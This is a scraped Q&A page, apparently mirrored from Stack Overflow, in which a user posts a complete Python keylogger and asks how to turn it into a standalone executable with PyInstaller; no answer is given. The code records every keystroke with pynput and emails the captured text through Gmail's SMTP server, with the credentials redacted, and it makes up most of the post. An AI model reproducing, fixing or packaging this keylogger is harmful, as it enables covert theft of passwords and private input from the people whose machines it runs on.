Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
161 views
in Technique[技术] by (71.8m points)

python - How do I convert a .py/ .pyw to an independent executable?

I made a simple keylogging program, but I'm unable to create a functioning exec file

import smtplib

from pynput.keyboard import Key, Listener

email = 'redacted'
password = 'redacted'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)

full_log = ''
word = ''
email_char = 10

def on_press(key):
    global word
    global full_log
    global email
    global email_char
    if key == Key.space or key == Key.enter:
        word += ' '
        full_log += word
        word = ''
        if len(full_log) >= email_char:
            send_log()
            full_log = ''
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        word += char
    if key == Key.esc:
        return False

def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )

with Listener(on_press=on_press) as listener:
    listener.join()

print(''' .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. |
| | ____    ____ | || |      __      | || | _____  _____ | || |   _____      | |
| ||_     /   _|| || |     /       | || ||_   _||_   _|| || |  |_   _|     | |
| |  |   /   |  | || |    / /     | || |  | |    | |  | || |    | |       | |
| |  | |  /| |  | || |   / ____    | || |  | '    ' |  | || |    | |   _   | |
| | _| |_/_| |_ | || | _/ /     \_ | || |    `--' /   | || |   _| |__/ |  | |
| ||_____||_____|| || ||____|  |____|| || |    `.__.'    | || |  |________|  | |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------' ''')

input()

I tried using pyinstaller but the resulting exec file crashes immediately or gives fatal error. any help is appreciated! and thank you for your patience! edit: fatal error is "Failed To Execute Script [program name]"

question from:https://stackoverflow.com/questions/65598510/how-do-i-convert-a-py-pyw-to-an-independent-executable

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)
Waitting for answers

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

1.4m articles

1.4m replys

5 comments

57.0k users

...